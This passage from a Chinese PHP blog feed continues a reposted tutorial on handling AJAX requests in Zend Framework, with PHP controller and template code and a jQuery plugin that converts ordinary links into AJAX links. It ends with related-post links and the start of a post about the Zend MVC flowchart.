if (</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_form</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">isValid </span><span style="color: #007700;">( </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_formData </span><span style="color: #007700;">)) {<br />
</span><span style="color: #ff8000;">//注册<br />
</span><span style="color: #0000bb;">$module </span><span style="color: #007700;">= </span><span style="color: #0000bb;">Module_Product</span><span style="color: #007700;">::</span><span style="color: #0000bb;">getInstance</span><span style="color: #007700;">();<br />
</span><span style="color: #0000bb;">$check </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$module</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">insert</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_formData</span><span style="color: #007700;">);<br />
if (empty ( </span><span style="color: #0000bb;">$check </span><span style="color: #007700;">)) {<br />
</span><span style="color: #ff8000;">//失败<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">errors </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_module</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translateError </span><span style="color: #007700;">();<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">message </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_ </span><span style="color: #007700;">( </span><span style="color: #0000bb;">‘product</span><span style="color: #007700;">.</span><span style="color: #0000bb;">fail’</span><span style="color: #007700;">);<br />
} else {<br />
</span><span style="color: #ff8000;">//成功<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">message </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_ </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'product.success'</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$options </span><span style="color: #007700;">);<br />
}<br />
} else {<br />
</span><span style="color: #ff8000;">//注册前验证失败<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">message </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_ </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'product.check'</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">errors </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_form</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translateError </span><span style="color: #007700;">();<br />
}<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render</span><span style="color: #007700;">(</span><span style="color: #dd0000;">'message'</span><span style="color: #007700;">);<br />
return;<br />
}<br />
</span><span style="color: #ff8000;">//如果没有post数据，显示原始form<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">form </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_form</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">();</span></p>
<p></code></div>
<p>这种写法 是没问题的；缺点和上面一样，在浏览器js失效的情况下，无法正确显示页面。因此，一个好的写法是</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code6'));">复制PHP内容到剪贴板</span></p>
<h5 onclick="changedisplay($('code6'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code6" style="font-size: 12px;"><span style="color: #ff8000;">// $this-&gt;render ( 'message' );的地方增加判断<br />
</span><span style="color: #007700;">if (</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getRequest </span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">isXmlHttpRequest </span><span style="color: #007700;">()) {<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'message' </span><span style="color: #007700;">);<br />
} else {<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">();<br />
}</span></p>
<p></code></div>
<p><strong>更进一步</strong></p>
<p>更进一步，我们在页面显示部分可以这么做；我们在制作sidebar_menu的时候，完全不考虑ajax；首先生成普通的link连接。</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code7'));">复制PHP内容到剪贴板</span></p>
<h5 onclick="changedisplay($('code7'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code7" style="font-size: 12px;"><span style="color: #007700;">&lt;</span><span style="color: #0000bb;">h1 </span><span style="color: #007700;">class=</span><span style="color: #dd0000;">"first"</span><span style="color: #007700;">&gt;&lt;?</span><span style="color: #0000bb;">php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'sidebar.menu.user.title' </span><span style="color: #007700;">);</span><span style="color: #0000bb;">?&gt;</span>&lt;/h1&gt;<br />
&lt;!-- Navigation with bullets --&gt;<br />
&lt;dl class="nav3-bullet" id="sidebar_menu"&gt;<br />
&lt;dt&gt;<br />
&lt;a href="<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl</span><span style="color: #007700;">;</span><span style="color: #0000bb;">?&gt;</span>/product/list"&gt;<br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'sidebar.menu.products.list' </span><span style="color: #007700;">);</span><span style="color: #0000bb;">?&gt;<br />
</span> &lt;/a&gt;<br />
&lt;/dt&gt;<br />
&lt;dt&gt;<br />
&lt;a href="<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl</span><span style="color: #007700;">;</span><span style="color: #0000bb;">?&gt;</span>/product/register"&gt;<br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'sidebar.menu.products.new' </span><span style="color: #007700;">);</span><span style="color: #0000bb;">?&gt;<br />
</span> &lt;/a&gt;<br />
&lt;/dt&gt;<br />
&lt;dt&gt;<br />
&lt;a href="<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl</span><span style="color: #007700;">;</span><span style="color: #0000bb;">?&gt;</span>/auth/logout"&gt;<br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'sidebar.menu.logout' </span><span style="color: #007700;">);</span><span style="color: #0000bb;">?&gt;<br />
</span> &lt;/a&gt;<br />
&lt;/dt&gt;<br />
&lt;/dl&gt;<br />
</code></div>
<p>很明显，根据上面的设置，这些普通连接都可以正常工作；只是每次都需要刷新整个页面。</p>
<p>为了加速响应速度，采用ajax请求；一个笨方法是，去修改每一个连接，将href的值变成&#8221;#&#8221;，增加一个onclick请求，写一段js代码。<br />
这样做，除了麻烦之外，一个明显的缺点是，如果用户浏览器不支持js，那么这些连接全部无效。</p>
<p>一个简单的办法如下：不修改原来的html任何东西，只是将普通连接转化为ajax连接</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code8'));">复制PHP内容到剪贴板</span></p>
<h5 style="cursor: pointer;" onclick="changedisplay($('code8'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code8" style="font-size: 12px;"><span style="color: #007700;">&lt;</span><span style="color: #0000bb;">script type</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"text/javascript"</span><span style="color: #007700;">&gt;<br />
$(</span><span style="color: #0000bb;">document</span><span style="color: #007700;">).</span><span style="color: #0000bb;">ready</span><span style="color: #007700;">(function() {<br />
$(</span><span style="color: #dd0000;">"#sidebar_menu a[@href!='']"</span><span style="color: #007700;">).</span><span style="color: #0000bb;">toAjaxLink</span><span style="color: #007700;">();<br />
});<br />
</span><span style="color: #0000bb;">&lt;/script&gt;</span><br />
</code></div>
<p>那么toAjaxlink()方法呢？如下代码：</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code9'));">复制PHP内容到剪贴板</span></p>
<h5 onclick="changedisplay($('code9'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code9" style="font-size: 12px;"><span style="color: #ff8000;">//jquery.action.js<br />
//toAjaxLink()函数目前参数只有一个toId。其实可以扩展很多东西，比如点击后首先加载某些js css 然后在ajax请求。<br />
</span><span style="color: #007700;">(function ($) {<br />
$.</span><span style="color: #0000bb;">fn</span><span style="color: #007700;">.</span><span style="color: #0000bb;">toAjaxLink </span><span style="color: #007700;">= function (</span><span style="color: #0000bb;">options</span><span style="color: #007700;">) {<br />
return </span><span style="color: #0000bb;">this</span><span style="color: #007700;">.</span><span style="color: #0000bb;">each</span><span style="color: #007700;">(function () {<br />
</span><span style="color: #0000bb;">options </span><span style="color: #007700;">= $.</span><span style="color: #0000bb;">extend</span><span style="color: #007700;">({<br />
</span><span style="color: #0000bb;">toId</span><span style="color: #007700;">:</span><span style="color: #dd0000;">"mainbody"<br />
</span><span style="color: #007700;">}, </span><span style="color: #0000bb;">options </span><span style="color: #007700;">|| {});<br />
$(</span><span style="color: #0000bb;">this</span><span style="color: #007700;">).</span><span style="color: #0000bb;">attr</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"id"</span><span style="color: #007700;">,$(</span><span style="color: #0000bb;">this</span><span style="color: #007700;">).</span><span style="color: #0000bb;">attr</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"href"</span><span style="color: #007700;">)).</span><span style="color: #0000bb;">attr</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"href"</span><span style="color: #007700;">,</span><span style="color: #dd0000;">"#"</span><span style="color: #007700;">);<br />
$(</span><span style="color: #0000bb;">this</span><span style="color: #007700;">).</span><span style="color: #0000bb;">click</span><span style="color: #007700;">(function () {<br />
var </span><span style="color: #0000bb;">url </span><span style="color: #007700;">= $(</span><span style="color: #0000bb;">this</span><span style="color: #007700;">).</span><span style="color: #0000bb;">attr</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"id"</span><span style="color: #007700;">);<br />
$.</span><span style="color: #0000bb;">ajaxRequest</span><span style="color: #007700;">(</span><span style="color: #0000bb;">options</span><span style="color: #007700;">.</span><span style="color: #0000bb;">toId</span><span style="color: #007700;">,</span><span style="color: #0000bb;">url</span><span style="color: #007700;">);<br />
return </span><span style="color: #0000bb;">false</span><span style="color: #007700;">;<br />
});<br />
});<br />
};<br />
})(</span><span style="color: #0000bb;">jQuery</span><span style="color: #007700;">);<br />
</span><span style="color: #ff8000;">//下面是ajaxRequest的代码<br />
//jquery.extend.js<br />
</span><span style="color: #007700;">(function($) {<br />
$.</span><span style="color: #0000bb;">extend</span><span style="color: #007700;">({<br />
</span><span style="color: #0000bb;">ajaxRequest</span><span style="color: #007700;">: function(</span><span style="color: #0000bb;">toId</span><span style="color: #007700;">,</span><span style="color: #0000bb;">url</span><span style="color: #007700;">,</span><span style="color: #0000bb;">pars</span><span style="color: #007700;">,</span><span style="color: #0000bb;">type</span><span style="color: #007700;">,</span><span style="color: #0000bb;">evalScript</span><span style="color: #007700;">) {<br />
$.</span><span style="color: #0000bb;">ajax</span><span style="color: #007700;">({<br />
</span><span style="color: #0000bb;">url</span><span style="color: #007700;">: </span><span style="color: #0000bb;">url</span><span style="color: #007700;">,<br />
</span><span style="color: #0000bb;">type</span><span style="color: #007700;">: (</span><span style="color: #0000bb;">type </span><span style="color: #007700;">=== </span><span style="color: #0000bb;">null </span><span style="color: #007700;">|| </span><span style="color: #0000bb;">type </span><span style="color: #007700;">=== </span><span style="color: #dd0000;">''</span><span style="color: #007700;">)?</span><span style="color: #dd0000;">'GET'</span><span style="color: #007700;">:</span><span style="color: #0000bb;">type</span><span style="color: #007700;">,<br />
</span><span style="color: #0000bb;">dataType</span><span style="color: #007700;">: </span><span style="color: #dd0000;">'html'</span><span style="color: #007700;">,<br />
</span><span style="color: #0000bb;">data</span><span style="color: #007700;">: </span><span style="color: #0000bb;">pars</span><span style="color: #007700;">,<br />
</span><span style="color: #0000bb;">evalScripts</span><span style="color: #007700;">: (</span><span style="color: #0000bb;">evalScript </span><span style="color: #007700;">=== </span><span style="color: #0000bb;">null </span><span style="color: #007700;">|| </span><span style="color: #0000bb;">evalScript </span><span style="color: #007700;">=== </span><span style="color: #dd0000;">'' </span><span style="color: #007700;">|| </span><span style="color: #0000bb;">evalScript </span><span style="color: #007700;">=== </span><span style="color: #0000bb;">false</span><span style="color: #007700;">)?</span><span style="color: #0000bb;">false</span><span style="color: #007700;">:</span><span style="color: #0000bb;">true</span><span style="color: #007700;">,<br />
</span><span style="color: #0000bb;">error</span><span style="color: #007700;">: function(){<br />
</span><span style="color: #ff8000;">//error Function<br />
</span><span style="color: #007700;">},<br />
</span><span style="color: #0000bb;">success</span><span style="color: #007700;">: function(</span><span style="color: #0000bb;">html</span><span style="color: #007700;">){<br />
$(</span><span style="color: #dd0000;">'#'</span><span style="color: #007700;">+</span><span style="color: #0000bb;">toId</span><span style="color: #007700;">).</span><span style="color: #0000bb;">html</span><span style="color: #007700;">(</span><span style="color: #0000bb;">html</span><span style="color: #007700;">);<br />
}<br />
});<br />
return </span><span style="color: #0000bb;">false</span><span style="color: #007700;">;<br />
}<br />
})(</span><span style="color: #0000bb;">jQuery</span><span style="color: #007700;">);</span></p>
<p></code></div>
<p>如果用户浏览器js不执行，也就是<strong><em>$(&#8220;#sidebar_menu a[@href!='']&#8220;).toAjaxLink(); </em></strong> 不工作了，那么连接还是原来的普通连接，一切不变；<br />
那么如果执行 <strong><em>$(&#8220;#sidebar_menu a[@href!='']&#8220;).toAjaxLink(); </em></strong> ，根据定义连接变成一个ajax连接，请求变成ajax请求。</p>
<p>其实这个技巧，和Zend  Framework没有任何关系；可以应用在很多地方。最重要的这种思路解决浏览器端js不支持的问题。而且还减轻服务器端<br />
代码量；我们几乎不需要考虑ajax情况怎么办 非ajax怎么办。比如很多分页类<br />
都有isAjaxLink之类的参数。生成一个ajax请求的分页连接；这种思考增加了服务器端代码工作量。</p>
<p>思路总结：<br />
1、连接请求，是否是ajax请求，还是普通link请求，不是在服务器端设定；而是在客户端变换。</p>
<p>2、请求内容的返回，服务器端可以根据ajax请求，还是普通link请求，来做不同处理。</p>
<p>好了，现在这个聪明的用户直接在浏览器上输入http://project-name/product/list，Ok 没问题，让他自由输入去~~</p>
<p>原帖：http://bbs.phpchina.com/viewthread.php?tid=56702&amp;pid=406076&amp;page=1&amp;extra=page%3D1#pid406076<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2010/01/09/zend-framework-render-intro/'>[转]详细介绍php Zend Framework中的render使用方法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/08/27/zend-framework-exception/'>zend framework错误或者异常信息捕捉</a></li>
<li><a href='http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/'>jQuery AJAX in Zend Framework</a></li>
<li><a href='http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/'>Zend Framework V1.5 中的新特性</a></li>
</ul>
<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="http://www.pkphp.com/" style="font-size: 13px;">http://www.pkphp.com/</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend framework ajax" style="font-size: 13px;">zend framework ajax</a>(5)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend layout" style="font-size: 13px;">zend layout</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="php 判断是否Ajax请求" style="font-size: 13px;">php 判断是否Ajax请求</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="Zend_Layout 关闭mvc" style="font-size: 13px;">Zend_Layout 关闭mvc</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="php view 页 类" style="font-size: 13px;">php view 页 类</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="php framework排名" style="font-size: 13px;">php framework排名</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend framework例子" style="font-size: 13px;">zend framework例子</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend framework baseurl" style="font-size: 13px;">zend framework baseurl</a>(2)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend framework mvc 应用" style="font-size: 13px;">zend framework mvc 应用</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="$this-&gt;getRequest()-&gt;isPost()" style="font-size: 13px;">$this-&gt;getRequest()-&gt;isPost()</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend framework使用ajax" style="font-size: 13px;">zend framework使用ajax</a>(2)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend layout佈局" style="font-size: 13px;">zend layout佈局</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="php framework ajax" style="font-size: 13px;">php framework ajax</a>(1)<a href="http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/" title="zend framework 中的BaseUrl" style="font-size: 13px;">zend framework 中的BaseUrl</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">[转]详细介绍php Zend Framework中的render使用方法</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zend Framework MVC流程图[转帖]</title>
		<link>http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/</link>
		<comments>http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 04:52:58 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=11</guid>
		<description><![CDATA[这个图是ZF文档中的，7.2节的图。由于中文文档还没有翻译，所以先搞个图看看，这个图画的非常好，非常明朗。 我已经用不同的颜色标注了不同的部分。主要流程是绿色块，黄色部分是钩子，这种蓝色代表Request和Response对象，紫红色部分判断是否 dispath完毕。基本方向就是：Request -&#62; Router -&#62; Dispatch -&#62; Send Response Related items [转]详细介绍php Zend Framework中的render使用方法 今日到南京上网，发现偶尔打开的网页出现如下代码 zend framework错误或者异常信息捕捉 jQuery AJAX in Zend Framework Zend Framework V1.5 中的新特性 http://www.pkphp.com/(1)zend 流程(3)zend framework MVC(22)zend framework mvc 代码(1)优化 zend framework mvc(1)php mvc framework(4)mvc 图(6)php zend mvc(3)zend 流程图(3)zend framework流程图(1)mvc 流程图(2)Zend Framework 流程图(8)php 流程图(11)zend framework流程(8)framework mvc(1)<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
